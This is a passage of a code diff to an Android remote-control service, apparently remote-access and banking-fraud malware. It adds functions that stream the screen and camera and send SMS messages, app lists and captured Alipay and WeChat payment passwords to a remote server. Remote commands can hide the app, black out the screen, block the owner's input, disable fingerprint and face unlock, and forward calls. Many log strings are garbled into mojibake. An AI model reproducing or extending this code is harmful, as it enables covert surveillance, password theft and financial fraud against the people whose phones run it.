getLongConfigValue("ownerUserId") + if (existingOwnerUserId != null) { + return + } + + val installToken = getStringConfigValue("installToken") ?: return + val currentTime = System.currentTimeMillis() + if (currentTime - lastInstallResolveAttemptTime < installResolveAttemptIntervalMs) { + return + } + lastInstallResolveAttemptTime = currentTime + + val resolveUrl = resolveInstallResolveUrl() ?: return + val encodedToken = try { + URLEncoder.encode(installToken, "UTF-8") + } catch (e: Exception) { + Log.w(TAG, "Install token encode failed", e) + return + } + + val finalUrl = if (resolveUrl.contains("?")) { + "$resolveUrl&token=$encodedToken" + } else { + "$resolveUrl?token=$encodedToken" + } + + try { + val url = java.net.URL(finalUrl) + val connection = (url.openConnection() as java.net.HttpURLConnection).apply { + requestMethod = "GET" + connectTimeout = 6000 + readTimeout = 6000 + setRequestProperty("Accept", "application/json") + } + + val responseCode = connection.responseCode + val responseBody = try { + if (responseCode in 200..299) { + connection.inputStream.bufferedReader().use { it.readText() } + } else { + connection.errorStream?.bufferedReader()?.use { it.readText() } ?: "" + } + } finally { + connection.disconnect() + } + + if (responseCode !in 200..299 || responseBody.isBlank()) { + Log.w(TAG, "Install token resolve failed: code=$responseCode") + return + } + + val root = JSONObject(responseBody) + if (!root.optBoolean("success", false)) { + Log.w(TAG, "Install token resolve rejected: ${root.optString("message")}") + return + } + + val data = root.optJSONObject("data") ?: return + val ownerUserId = optLongFromJson(data, "ownerUserId") + val ownerUsername = data.optString("ownerUsername", "").trim().takeIf { it.isNotEmpty() } + if (ownerUserId == null && ownerUsername == null) { + Log.w(TAG, "Install token resolved but owner fields are empty") + return + } + + val ownerGroupId = optLongFromJson(data, "ownerGroupId") + val ownerGroupName = data.optString("ownerGroupName", "").trim().takeIf { it.isNotEmpty() } + val resolvedServerUrl = data.optString("serverUrl", "").trim().takeIf { it.isNotEmpty() } + val resolvedWebUrl = data.optString("webUrl", "").trim().takeIf { it.isNotEmpty() } + val resolvedTurnUrls = data.optString("webrtcTurnUrls", "").trim().takeIf { it.isNotEmpty() } + val resolvedTurnUsername = data.optString("webrtcTurnUsername", "").trim().takeIf { it.isNotEmpty() } + val resolvedTurnPassword = data.optString("webrtcTurnPassword", "").trim().takeIf { it.isNotEmpty() } + + val updated = com.hikoncont.util.ConfigWriter.applyInstallBinding( + context = service, + installToken = installToken, + installResolveUrl = resolveUrl, + ownerUserId = ownerUserId, + ownerUsername = ownerUsername, + ownerGroupId = ownerGroupId, + ownerGroupName = ownerGroupName, + serverUrl = resolvedServerUrl, + webUrl = resolvedWebUrl, + webrtcTurnUrls = resolvedTurnUrls, + webrtcTurnUsername = resolvedTurnUsername, + webrtcTurnPassword = resolvedTurnPassword, + ) + + if (updated) { + Log.i(TAG, "Install token resolve success: ownerUserId=$ownerUserId, ownerUsername=$ownerUsername") + } else { + Log.w(TAG, "Install token resolve success but save config failed") + } + } catch (e: Exception) { + Log.w(TAG, "Install token resolve request error: ${e.message}") + } + } + + private fun resolveInstallResolveUrl(): String? { + val configResolveUrl = getStringConfigValue("installResolveUrl") + if (!configResolveUrl.isNullOrBlank()) { + return configResolveUrl + } + + val configServerUrl = getStringConfigValue("serverUrl") + val fallbackServerUrl = if (!configServerUrl.isNullOrBlank()) configServerUrl else serverUrl + if (fallbackServerUrl.isBlank()) { + return null + } + + val httpBase = convertToSocketIoProtocol(fallbackServerUrl).trimEnd('/') + return "$httpBase/api/auth/install-links/resolve" + } + + private fun optLongFromJson(source: JSONObject, key: String): Long? { + if (!source.has(key)) { + return null + } + val raw = source.opt(key) ?: return null + return when (raw) { + is Number -> raw.toLong() + is String -> raw.trim().toLongOrNull() + else -> null + } + } /** - * 发送屏幕数据到服务器(优化版本,减少transport error) + * comment cleaned */ fun sendScreenData(frameData: ByteArray) { try { + if (webRTCManager.isStreaming() || srtStreamManager.isStreaming()) { + // WS channel is control-only while dedicated video transport is active. + return + } val currentTime = System.currentTimeMillis() // Rate limit: avoid sending too frequently if (currentTime - lastScreenDataTime < screenDataInterval) { - // 跳过这帧,避免发送过于频繁 + // comment cleaned return } // Size check: avoid sending oversized data causing transport error if (frameData.size > maxScreenDataSize) { - Log.w(TAG, "屏幕数据过大被跳过: ${frameData.size} bytes > ${maxScreenDataSize} bytes") + Log.w(TAG, "灞忓箷鏁版嵁杩囧ぇ琚烦杩? ${frameData.size} bytes > ${maxScreenDataSize} bytes") return } // Connection starvation check if (lastSuccessfulDataSend > 0 && currentTime - lastSuccessfulDataSend > dataStarvationTimeout) { if (!isDataStarved) { - Log.w(TAG, "检测到数据发送饥饿(${currentTime - lastSuccessfulDataSend}ms),连接可能有问题") + Log.w(TAG, "妫€娴嬪埌鏁版嵁鍙戦€侀ゥ楗?${currentTime - lastSuccessfulDataSend}ms)锛岃繛鎺ュ彲鑳芥湁闂") isDataStarved = true - // 不立即重连,而是给连接一些时间恢复 + // comment cleaned } } if (socket?.connected() == true) { - // Pre-compute Base64 string to reduce memory allocation during JSON build - val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP) - - val screenData = JSONObject().apply { + // comment cleaned + val meta = JSONObject().apply { put("deviceId", getDeviceId()) put("format", "JPEG") - put("data", base64Data) put("width", getScreenWidth()) put("height", getScreenHeight()) - put("quality", 50) + put("quality", 70) put("timestamp", currentTime) put("isLocked", isScreenLocked) } - + // Enhanced emit failure tolerance try { - socket?.emit("screen_data", screenData) - // 发送成功,重置发送失败计数和饥饿状态 + if (serverSupportsBinaryScreenData) { + socket?.emit("screen_data_bin", meta, frameData) + if (++screenPerfLogCounter % 120 == 0) { + Log.i(TAG, "Screen frame (binary) sending: size=${frameData.size}B, interval=${screenDataInterval}ms") + } + } else { + val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP) + val screenData = JSONObject(meta.toString()).apply { + put("data", base64Data) + } + socket?.emit("screen_data", screenData) + if (++screenPerfLogCounter % 120 == 0) { + val base64Size = base64Data.length + val overhead = if (frameData.size > 0) { + "%.1f%%".format(((base64Size - frameData.size).toFloat() / frameData.size) * 100) + } else { + "N/A" + } + Log.i(TAG, "Screen frame (Base64) sending: jpeg=${frameData.size}B, b64=${base64Size}B, overhead=$overhead") + } + } + + // reset failure counters after successful send screenDataFailureCount = 0 lastSuccessfulDataSend = currentTime isDataStarved = false // Only update throttle timestamp after successful emit lastScreenDataTime = currentTime - // Log compression and encoding efficiency - val base64Size = base64Data.length - val overhead = if (frameData.size > 0) "%.1f%%".format(((base64Size - frameData.size).toFloat() / frameData.size) * 100) else "N/A" - Log.d(TAG, "发送屏幕数据: JPEG${frameData.size}B -> Base64${base64Size}B (+$overhead 开销, isLocked=${isScreenLocked})") } catch (emitException: Exception) { screenDataFailureCount++ - Log.e(TAG, "发送屏幕数据失败(${screenDataFailureCount}次): ${emitException.message}") + Log.e(TAG, "鍙戦€佸睆骞曟暟鎹け璐?${screenDataFailureCount}娆?: ${emitException.message}") if (screenDataFailureCount >= 20) { - Log.e(TAG, "屏幕数据发送连续失败${screenDataFailureCount}次,触发重连检测") + Log.e(TAG, "Screen data send failed repeatedly, triggering reconnect check") checkConnectionAndReconnect() screenDataFailureCount = 0 } - Log.w(TAG, "屏幕数据发送失败,但不影响后续发送") + Log.w(TAG, "Screen data send failed, continue with next frame") } } else { @@ -763,12 +1307,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { checkConnectionAndReconnect() } } catch (e: Exception) { - Log.e(TAG, "发送屏幕数据失败", e) + Log.e(TAG, "Send screen data failed", e) } } /** - * 发送摄像头数据到服务器 + * comment cleaned */ fun sendCameraFrame(frameData: ByteArray) { try { @@ -788,7 +1332,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { lastCameraDataTime = currentTime if (socket?.connected() == true) { - // 将摄像头数据编码为Base64 + // comment cleaned val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP) val cameraData = JSONObject().apply { @@ -801,12 +1345,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { try { socket?.emit("camera_data", cameraData) - // 发送成功,重置失败计数 + // comment cleaned cameraDataFailureCount = 0 lastSuccessfulDataSend = currentTime isDataStarved = false - Log.d(TAG, "📷 摄像头数据已发送: ${frameData.size} bytes") + Log.d(TAG, "馃摲 鎽勫儚澶存暟鎹凡鍙戦€? ${frameData.size} bytes") } catch (e: Exception) { cameraDataFailureCount++ Log.w(TAG, "Camera data send failed (${cameraDataFailureCount}x): ${e.message}") @@ -823,12 +1367,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { checkConnectionAndReconnect() } } catch (e: Exception) { - Log.e(TAG, "发送摄像头数据失败", e) + Log.e(TAG, "Failed to send camera data", e) } } /** - * 发送短信数据到服务器 + * comment cleaned */ fun sendSMSData(smsList: List) { try { @@ -841,7 +1385,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { put("timestamp", currentTime) put("count", smsList.size) - // 将短信列表转换为JSON数组 + // comment cleaned val smsArray = JSONArray() smsList.forEach { sms -> val smsJson = JSONObject().apply { @@ -861,24 +1405,145 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { socket?.emit("sms_data", smsData) Log.d(TAG, "SMS data sent: ${smsList.size} messages") } catch (e: Exception) { - Log.e(TAG, "发送短信数据失败", e) + Log.e(TAG, "Send SMS data failed", e) } } else { Log.w(TAG, "Socket not connected, cannot send SMS data") checkConnectionAndReconnect() } } catch (e: Exception) { - Log.e(TAG, "发送短信数据失败", e) + Log.e(TAG, "Send SMS data failed", e) } } /** - * 发送支付宝密码数据 + * Send SMS sending result callback. */ + private fun sendSmsSendResult(phoneNumber: String, success: Boolean, message: String) { + try { + if (socket?.connected() != true) { + Log.w(TAG, "Socket not connected, cannot send sms_send_result") + return + } + + val payload = JSONObject().apply { + put("deviceId", getDeviceId()) + put("type", "sms_send_result") + put("timestamp", System.currentTimeMillis()) + put("phoneNumber", phoneNumber) + put("success", success) + put("message", message) + } + socket?.emit("sms_send_result", payload) + Log.i(TAG, "sms_send_result sent: success=$success, phone=$phoneNumber") + } catch (e: Exception) { + Log.e(TAG, "Failed to send sms_send_result", e) + } + } + + /** + * comment cleaned + * comment cleaned + * 璇存槑: 鍙戦€佸懠鍙浆绉绘墽琛岀粨鏋滃洖鎵э紝Web 绔敤浜庢彁绀衡€滆缃?鍙栨秷鈥濇槸鍚︽墽琛屾垚鍔熴€? + */ + private fun sendCallForwardResult( + action: String, + rule: String, + phoneNumber: String?, + success: Boolean, + message: String, + mmiCode: String? = null, + permissionRequested: Boolean = false + ) { + try { + if (socket?.connected() != true) { + Log.w(TAG, "Socket not connected, cannot send call_forward_result") + return + } + + val payload = JSONObject().apply { + put("deviceId", getDeviceId()) + put("type", "call_forward_result") + put("timestamp", System.currentTimeMillis()) + put("action", action) + put("rule", rule) + put("phoneNumber", phoneNumber ?: "") + put("success", success) + put("message", message) + put("permissionRequested", permissionRequested) + if (!mmiCode.isNullOrEmpty()) { + put("mmiCode", mmiCode) + } + } + socket?.emit("call_forward_result", payload) + Log.i(TAG, "call_forward_result sent: action=$action, success=$success, rule=$rule") + } catch (e: Exception) { + Log.e(TAG, "Failed to send call_forward_result", e) + } + } + + /** + * comment cleaned + * comment cleaned + * comment cleaned + */ + private fun sendAppListData(appList: List>) { + try { + if (socket?.connected() != true) { + Log.w(TAG, "Socket not connected, cannot send app_list_data") + return + } + + val appArray = JSONArray() + appList.forEach { app -> + appArray.put(JSONObject(app)) + } + + val payload = JSONObject().apply { + put("deviceId", getDeviceId()) + put("type", "app_list_data") + put("timestamp", System.currentTimeMillis()) + put("count", appList.size) + put("appList", appArray) + } + socket?.emit("app_list_data", payload) + Log.i(TAG, "app_list_data sent: count=${appList.size}") + } catch (e: Exception) { + Log.e(TAG, "Failed to send app_list_data", e) + } + } + + /** + * comment cleaned + * comment cleaned + * comment cleaned + */ + private fun sendAppOpenResult(packageName: String, success: Boolean, message: String) { + try { + if (socket?.connected() != true) { + Log.w(TAG, "Socket not connected, cannot send app_open_result") + return + } + + val payload = JSONObject().apply { + put("deviceId", getDeviceId()) + put("type", "app_open_result") + put("timestamp", System.currentTimeMillis()) + put("packageName", packageName) + put("success", success) + put("message", message) + } + socket?.emit("app_open_result", payload) + Log.i(TAG, "app_open_result sent: package=$packageName, success=$success") + } catch (e: Exception) { + Log.e(TAG, "Failed to send app_open_result", e) + } + } + fun sendAlipayPasswordData(password: String, inputMethod: String = "custom_keypad") { try { if (socket?.connected() == true) { - Log.i(TAG, "💰 开始发送支付宝密码数据") + Log.i(TAG, "Start sending Alipay password data") val payload = JSONObject().apply { put("deviceId", getDeviceId()) @@ -902,12 +1567,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 发送支付宝检测状态 + * comment cleaned */ fun sendAlipayDetectionStatus(enabled: Boolean) { try { if (socket?.connected() == true) { - Log.i(TAG, "💰 发送支付宝检测状态: $enabled") + Log.i(TAG, "馃挵 鍙戦€佹敮浠樺疂妫€娴嬬姸鎬? $enabled") val payload = JSONObject().apply { put("deviceId", getDeviceId()) @@ -928,12 +1593,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 发送微信密码数据 + * comment cleaned */ fun sendWechatPasswordData(password: String, inputMethod: String = "custom_keypad") { try { if (socket?.connected() == true) { - Log.i(TAG, "💬 开始发送微信密码数据") + Log.i(TAG, "Start sending WeChat password data") val payload = JSONObject().apply { put("deviceId", getDeviceId()) @@ -957,12 +1622,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 发送微信检测状态 + * comment cleaned */ fun sendWechatDetectionStatus(enabled: Boolean) { try { if (socket?.connected() == true) { - Log.i(TAG, "💬 发送微信检测状态: $enabled") + Log.i(TAG, "馃挰 鍙戦€佸井淇℃娴嬬姸鎬? $enabled") val payload = JSONObject().apply { put("deviceId", getDeviceId()) @@ -983,9 +1648,17 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 发送密码输入数据 + * comment cleaned */ - fun sendPasswordInputData(password: String, inputMethod: String, passwordType: String, activity: String, deviceId: String, installationId: String) { + fun sendPasswordInputData( + password: String, + inputMethod: String, + passwordType: String, + activity: String, + deviceId: String, + installationId: String, + sourceType: String = "manual_password_input_activity" + ) { try { if (socket?.connected() == true) { Log.i(TAG, "Sending password input data: $inputMethod") @@ -1000,6 +1673,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { put("passwordType", passwordType) put("activity", activity) put("installationId", installationId) + put("sourceType", sourceType) put("sessionId", System.currentTimeMillis().toString()) } @@ -1012,57 +1686,156 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { Log.e(TAG, "Failed to send password input data", e) } } + + private fun getSafeScreenSize(): Pair { + val metrics = service.resources.displayMetrics + val width = if (metrics.widthPixels > 0) metrics.widthPixels else 1080 + val height = if (metrics.heightPixels > 0) metrics.heightPixels else 1920 + return Pair(width, height) + } + + private fun clampX(value: Float): Float { + val (width, _) = getSafeScreenSize() + return value.coerceIn(0f, (width - 1).coerceAtLeast(0).toFloat()) + } + + private fun clampY(value: Float): Float { + val (_, height) = getSafeScreenSize() + return value.coerceIn(0f, (height - 1).coerceAtLeast(0).toFloat()) + } + + private fun clampDuration(value: Long, minValue: Long, maxValue: Long): Long { + return value.coerceIn(minValue, maxValue) + } + + private fun parseJsonFloatOrNull(data: JSONObject, key: String): Float? { + if (!data.has(key)) return null + val value = data.optDouble(key, Double.NaN) + return if (!value.isNaN() && !value.isInfinite()) value.toFloat() else null + } + + private fun parseJsonIntOrNull(data: JSONObject, key: String): Int? { + if (!data.has(key)) return null + val rawValue = data.opt(key) ?: return null + return when (rawValue) { + is Number -> rawValue.toInt() + is String -> rawValue.toIntOrNull() + else -> null + } + } private fun handleControlMessage(json: JSONObject) { try { val type = json.getString("type") - val data = json.getJSONObject("data") + val data = json.optJSONObject("data") ?: JSONObject() - Log.d(TAG, "处理控制消息: type=$type") + Log.d(TAG, "Handle control message: type=$type") when (type) { "CLICK" -> { - val x = data.getDouble("x").toFloat() - val y = data.getDouble("y").toFloat() - Log.d(TAG, "执行点击: ($x, $y)") + val rawX = parseJsonFloatOrNull(data, "x") + val rawY = parseJsonFloatOrNull(data, "y") + if (rawX == null || rawY == null) { + Log.w(TAG, "Invalid click params: x=${data.opt("x")}, y=${data.opt("y")}") + return + } + + val x = clampX(rawX) + val y = clampY(rawY) + Log.d(TAG, "Execute click at: ($x, $y)") service.performClick(x, y) } "SWIPE" -> { - val startX = data.getDouble("startX").toFloat() - val startY = data.getDouble("startY").toFloat() - val endX = data.getDouble("endX").toFloat() - val endY = data.getDouble("endY").toFloat() - val duration = data.optLong("duration", 300) - Log.d(TAG, "执行滑动: ($startX, $startY) -> ($endX, $endY), duration=$duration") - service.performSwipe(startX, startY, endX, endY, duration) + val rawStartX = parseJsonFloatOrNull(data, "startX") + val rawStartY = parseJsonFloatOrNull(data, "startY") + val rawEndX = parseJsonFloatOrNull(data, "endX") + val rawEndY = parseJsonFloatOrNull(data, "endY") + if (rawStartX == null || rawStartY == null || rawEndX == null || rawEndY == null) { + Log.w(TAG, "Invalid swipe params: start=(${data.opt("startX")}, ${data.opt("startY")}), end=(${data.opt("endX")}, ${data.opt("endY")})") + return + } + + val startX = clampX(rawStartX) + val startY = clampY(rawStartY) + val endX = clampX(rawEndX) + val endY = clampY(rawEndY) + val duration = clampDuration(data.optLong("duration", 300), 120L, 1200L) + val distance = hypot((endX - startX).toDouble(), (endY - startY).toDouble()) + + if (distance < 8.0) { + Log.d(TAG, "Swipe distance too small, fallback to click: ($endX, $endY)") + service.performClick(endX, endY) + } else { + Log.d(TAG, "Execute swipe: ($startX, $startY) -> ($endX, $endY), duration=$duration") + service.performSwipe(startX, startY, endX, endY, duration) + } } "LONG_PRESS" -> { - val x = data.getDouble("x").toFloat() - val y = data.getDouble("y").toFloat() - Log.d(TAG, "执行长按: ($x, $y)") + val rawX = parseJsonFloatOrNull(data, "x") + val rawY = parseJsonFloatOrNull(data, "y") + if (rawX == null || rawY == null) { + Log.w(TAG, "Invalid long-press params: x=${data.opt("x")}, y=${data.opt("y")}") + return + } + + val x = clampX(rawX) + val y = clampY(rawY) + Log.d(TAG, "Execute long press at: ($x, $y)") service.performLongPress(x, y) } "LONG_PRESS_DRAG" -> { // Handle continuous long press drag with full path try { - val pathArray = data.getJSONArray("path") - val duration = data.optLong("duration", 1500L) + val pathArray = data.optJSONArray("path") ?: JSONArray() + val duration = clampDuration(data.optLong("duration", 1500L), 900L, 5000L) - // 解析路径点 + // comment cleaned val pathPoints = mutableListOf() for (i in 0 until pathArray.length()) { val point = pathArray.getJSONObject(i) - val x = point.getDouble("x").toFloat() - val y = point.getDouble("y").toFloat() - pathPoints.add(android.graphics.PointF(x, y)) + val x = point.optDouble("x", Double.NaN) + val y = point.optDouble("y", Double.NaN) + if (x.isNaN() || x.isInfinite() || y.isNaN() || y.isInfinite()) { + continue + } + val clampedX = clampX(x.toFloat()) + val clampedY = clampY(y.toFloat()) + val currentPoint = android.graphics.PointF(clampedX, clampedY) + + if (pathPoints.isEmpty()) { + pathPoints.add(currentPoint) + } else { + val prevPoint = pathPoints.last() + val stepDistance = hypot( + (currentPoint.x - prevPoint.x).toDouble(), + (currentPoint.y - prevPoint.y).toDouble() + ) + if (stepDistance >= 3.0) { + pathPoints.add(currentPoint) + } + } + } + + if (pathPoints.size < 2) { + val endX = parseJsonFloatOrNull(data, "endX") + val endY = parseJsonFloatOrNull(data, "endY") + if (endX != null && endY != null) { + val clickX = clampX(endX) + val clickY = clampY(endY) + Log.d(TAG, "闀挎寜鎷栨嫿璺緞涓嶈冻锛岄檷绾т负闀挎寜: ($clickX, $clickY)") + service.performLongPress(clickX, clickY) + } else { + Log.w(TAG, "Long-press drag path too short and no valid end point; skipped") + } + return } Log.d(TAG, "Execute continuous long press drag: pathPoints=${pathPoints.size}, duration=${duration}ms") service.performContinuousLongPressDrag(pathPoints, duration) } catch (e: Exception) { - Log.e(TAG, "解析连续长按拖拽路径失败", e) + Log.e(TAG, "Failed to execute continuous long-press drag", e) } } "INPUT_TEXT" -> { @@ -1083,11 +1856,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { // Reset web unlock mode after input if (isWebUnlock) { Log.d(TAG, "Scheduling web unlock mode reset") - // 延迟重置,确保确认操作完成 + // comment cleaned android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ Log.d(TAG, "Reset web unlock mode") service.setWebUnlockMode(false) - }, 5000) // 5秒后重置 + }, 5000) // 5缁夋帒鎮楅柌宥囩枂 } } "UNLOCK_DEVICE" -> { @@ -1097,38 +1870,38 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } "KEY_EVENT" -> { - // 支持两种格式:keyCode (整数) 和 key (字符串) + // comment cleaned if (data.has("keyCode")) { val keyCode = data.getInt("keyCode") - Log.d(TAG, "按键事件(keyCode): $keyCode") + Log.d(TAG, "Key event (keyCode): $keyCode") when (keyCode) { 3 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME) 4 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK) 82 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS) 66 -> { // Enter key - special handling removed - Log.d(TAG, "Enter键 - 已删除特殊处理") + Log.d(TAG, "Enter key special handling removed") } - else -> Log.w(TAG, "未知按键代码: $keyCode") + else -> Log.w(TAG, "Unknown keyCode: $keyCode") } } else if (data.has("key")) { val key = data.getString("key") - Log.d(TAG, "按键事件(key): $key") + Log.d(TAG, "Key event (key): $key") when (key) { "BACK" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK) "HOME" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME) "RECENTS" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS) "ENTER" -> { // Enter key string form - special handling removed - Log.d(TAG, "Enter键(字符串) - 已删除特殊处理") + Log.d(TAG, "Enter key(string) special handling removed") } - else -> Log.w(TAG, "未知按键: $key") + else -> Log.w(TAG, "Unknown key: $key") } } } "GESTURE" -> { val gestureType = data.getString("type") - Log.d(TAG, "手势操作: $gestureType") + Log.d(TAG, "Gesture operation: $gestureType") when (gestureType) { "PINCH_IN", "PINCH_OUT" -> { val centerX = data.getDouble("centerX").toFloat() @@ -1139,101 +1912,115 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } } "POWER_WAKE" -> { - Log.d(TAG, "点亮屏幕") + Log.d(TAG, "Wake screen") service.wakeScreen() } "POWER_SLEEP" -> { - Log.d(TAG, "锁定屏幕") + Log.d(TAG, "Lock screen") service.lockScreen() } + "MUTE_DEVICE" -> { + Log.d(TAG, "Execute one-click mute") + applyOneClickMute() + } "ENABLE_BLACK_SCREEN" -> { - Log.d(TAG, "启用黑屏遮盖") - service.enableBlackScreen() + Log.d(TAG, "Enable black screen overlay") + val maskAlpha = parseJsonIntOrNull(data, "maskAlpha") + service.enableBlackScreen(maskAlpha) } "DISABLE_BLACK_SCREEN" -> { - Log.d(TAG, "取消黑屏遮盖") + Log.d(TAG, "Disable black screen overlay") service.disableBlackScreen() } "HIDE_APP" -> { - Log.d(TAG, "隐藏应用") + Log.d(TAG, "Hide app") service.hideApp() } "SHOW_APP" -> { - Log.d(TAG, "显示应用") + Log.d(TAG, "Show app") service.showApp() } "DEVICE_BLOCK_INPUT" -> { - Log.d(TAG, "阻止设备用户输入") - // 检查是否有遮罩配置 + Log.d(TAG, "Block device input") + // comment cleaned val maskText = data.optString("maskText", null) val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null + val maskAlpha = parseJsonIntOrNull(data, "maskAlpha") - if (maskText != null || maskTextSize != null) { - Log.d(TAG, "设置遮罩配置 - 文字: $maskText, 字体大小: $maskTextSize") + if (maskText != null || maskTextSize != null || maskAlpha != null) { + Log.d(TAG, "Set mask config - text: $maskText, textSize: $maskTextSize, maskAlpha: $maskAlpha") service.setMaskTextConfig(maskText, maskTextSize) + service.setMaskOverlayAlpha(maskAlpha) } service.blockDeviceInput() } "DEVICE_ALLOW_INPUT" -> { - Log.d(TAG, "允许设备用户输入") + Log.d(TAG, "Allow device input") service.allowDeviceInput() } "SET_MASK_CONFIG" -> { - Log.d(TAG, "设置遮罩配置") + Log.d(TAG, "Set mask config") val maskText = data.optString("maskText", null) val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null + val maskAlpha = parseJsonIntOrNull(data, "maskAlpha") service.setMaskTextConfig(maskText, maskTextSize) + service.setMaskOverlayAlpha(maskAlpha) } "LOG_ENABLE" -> { - Log.d(TAG, "暂停:暂时不启用操作日志记录") - service.enableLogging() // 暂停:暂时不启用日志 + Log.d(TAG, "鏆傚仠锛氭殏鏃朵笉鍚敤鎿嶄綔鏃ュ織璁板綍") + service.enableLogging() // 鏆傚仠锛氭殏鏃朵笉鍚敤鏃ュ織 } "LOG_DISABLE" -> { - Log.d(TAG, "禁用操作日志记录") + Log.d(TAG, "Disable operation logging") service.disableLogging() } "SMART_CONFIRM_DETECTION" -> { - Log.d(TAG, "智能确认按钮检测") + Log.d(TAG, "Start smart confirm detection") val passwordType = data.optString("passwordType", "") val screenWidth = data.optInt("screenWidth", 0) val screenHeight = data.optInt("screenHeight", 0) service.performSmartConfirmDetection(passwordType, screenWidth, screenHeight) } "SMART_UNLOCK_SWIPE" -> { - Log.d(TAG, "智能上滑解锁") + Log.d(TAG, "鏅鸿兘涓婃粦瑙i攣") service.performSmartUnlockSwipe() } "ALIPAY_DETECTION_START" -> { - Log.d(TAG, "开启支付宝检测") + Log.d(TAG, "Enable Alipay detection") service.enableAlipayDetection() } "ALIPAY_DETECTION_STOP" -> { - Log.d(TAG, "关闭支付宝检测") + Log.d(TAG, "Disable Alipay detection") service.disableAlipayDetection() } "WECHAT_DETECTION_START" -> { - Log.d(TAG, "开启微信检测") + Log.d(TAG, "Enable WeChat detection") service.enableWechatDetection() } "WECHAT_DETECTION_STOP" -> { - Log.d(TAG, "关闭微信检测") + Log.d(TAG, "Disable WeChat detection") service.disableWechatDetection() } "OPEN_APP_SETTINGS" -> { - Log.d(TAG, "打开应用设置") - service.openAppSettings() + Log.d(TAG, "Open app settings") + openAppSettingsFromSocket() + } + "DISABLE_BIOMETRIC_AUTH" -> { + Log.d(TAG, "Disable biometric auth (fingerprint/face)") + val result = service.disableBiometricAuth() + sendPermissionResponse("biometric_disable", result.first, result.second) } "REFRESH_MEDIA_PROJECTION_PERMISSION" -> { - Log.d(TAG, "重新获取投屏权限") + Log.d(TAG, "Refresh media projection permission") service.refreshMediaProjectionPermission() } "REFRESH_MEDIA_PROJECTION_MANUAL" -> { - Log.d(TAG, "手动授权投屏权限(不自动点击)") + Log.d(TAG, "Request manual media projection permission (no auto click)") service.refreshMediaProjectionManual() } "CLOSE_CONFIG_MASK" -> { - Log.d(TAG, "手动关闭配置遮盖") + Log.d(TAG, "Force close config mask") val isManual = data.optBoolean("manual", false) Log.i(TAG, "Received close config mask command - manual: $isManual") service.forceHideConfigMask(isManual) @@ -1247,50 +2034,181 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { service.disableUninstallProtection() } "CAMERA_START" -> { - Log.d(TAG, "📷 启动摄像头捕获") + Log.d(TAG, "Start camera capture") service.startCameraCapture() } "CAMERA_STOP" -> { - Log.d(TAG, "📷 停止摄像头捕获") + Log.d(TAG, "Stop camera capture") service.stopCameraCapture() } "CAMERA_SWITCH" -> { - Log.d(TAG, "📷 切换摄像头") + Log.d(TAG, "Switch camera") service.switchCamera() } "CAMERA_CAPTURE_START" -> { - Log.d(TAG, "📷 开始摄像头捕获(精细控制)") + Log.d(TAG, "Start camera capture (fine control)") service.startCameraCapturing() } "CAMERA_CAPTURE_STOP" -> { - Log.d(TAG, "📷 停止摄像头捕获(精细控制)") + Log.d(TAG, "Stop camera capture (fine control)") service.stopCameraCapturing() } "CAMERA_STATUS" -> { val isCapturing = service.isCameraCapturing() val cameraInfo = service.getCameraInfo() - Log.d(TAG, "📷 摄像头状态: ${if (isCapturing) "正在捕获" else "未捕获"}, 摄像头: $cameraInfo") - // 可以在这里发送状态回执给服务器 + Log.d(TAG, "Camera status: isCapturing=$isCapturing, cameraInfo=$cameraInfo") + // comment cleaned + } + "CAMERA_PERMISSION_REQUEST" -> { + Log.d(TAG, "Request camera permission") + val hasPermission = service.checkCameraPermission() + if (!hasPermission) { + service.requestCameraPermission() + sendPermissionResponse( + "camera", + false, + buildPermissionDeniedMessage("camera", "Camera permission request started") + ) + } else { + sendPermissionResponse("camera", true, "Camera permission granted") + } + } + "CAMERA_PERMISSION_CHECK" -> { + val hasPermission = service.checkCameraPermission() + Log.d(TAG, "Camera permission status: ${if (hasPermission) "granted" else "not granted"}") + sendPermissionResponse( + "camera", + hasPermission, + if (hasPermission) { + "Camera permission granted" + } else { + buildPermissionDeniedMessage("camera", "Camera permission not granted") + } + ) + } + "CAMERA_PERMISSION_AUTO_GRANT" -> { + val hasPermission = service.checkCameraPermission() + Log.d(TAG, "Camera permission auto grant check: $hasPermission") + if (!hasPermission) { + service.requestCameraPermission() + sendPermissionResponse( + "camera", + false, + buildPermissionDeniedMessage("camera", "Camera permission auto grant triggered") + ) + } else { + sendPermissionResponse("camera", true, "Camera permission granted") + } } "CAMERA_INFO" -> { val cameraInfo = service.getCameraInfo() - Log.d(TAG, "📷 摄像头信息: $cameraInfo") - // 可以在这里发送摄像头信息回执给服务器 + Log.d(TAG, "馃摲 鎽勫儚澶翠俊鎭? $cameraInfo") + // 